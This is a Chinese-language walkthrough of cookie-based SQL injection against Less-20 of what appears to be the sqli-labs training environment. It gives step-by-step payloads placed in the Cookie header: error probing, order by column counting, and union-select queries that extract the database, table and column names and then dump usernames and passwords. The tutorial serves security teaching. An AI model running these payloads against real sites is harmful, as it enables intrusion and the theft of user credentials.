# SQL 注入之 Cookie 注入

本篇讲解 Cookie 注入。

老样子,Less-20,直接送入 repeater

image-20221001224019603

# 尝试报错

Cookie: uname=admin'

image-20221001224212276

# 尝试不报错

Cookie: uname=admin' %23

image-20221001224125843

# 尝试 order by 注入

order by n asc/desc 是指定列号 n 进行排序

Cookie: uname=admin' order by 4 %23
报错:YOUR COOKIE : uname = admin' order by 4 # and expires

Cookie: uname=admin' order by 3 %23
成功不报错

因此确定 列数为3

注意 :在 order by 后面的不会根据计算的结果来排序,所以可以直接用来报错注入。

尝试下直接报错注入是否可行:

Cookie: uname=admin' order by extractvalue(1,concat(0x7e,version(),0x7e))%23
报错:YOUR COOKIE : uname = admin' order by extractvalue(1,concat(0x7e,version(),0x7e))#

报错,看来这种直接报错注入的方式是不可行的。

# Cookie 注入查询到数据库名

cookie 注入就是基于 union 查询的基础上,在 Cookie 中进行注入

uname=admin' and 0 union select 1, database(), 3 %23

image-20221001225129636

# 查询到表名

进而通过替换 database () 处,变成 双注入 ,再查询出表名

uname=admin' and 0 union select 1, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 3 %23

image-20221001225840363

# 查询到列名

一样的套路

uname=admin' and 0 union select 1, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), 3 %23

image-20221001230122246

# 查询到账号密码

uname=admin' and 0 union select 1, (select group_concat(concat_ws(0x7e,username,password)) from security.users), 3 %23

image-20221001230318424

# 思考

通过 Cookie 注入,我们要思考: HTTP请求包中,是否还有其他的字段(Cookie外)也有可能和数据库产生交互呢?

答:有的, HTTP-Referer 就存在。

至此,Cookie 注入演示完毕。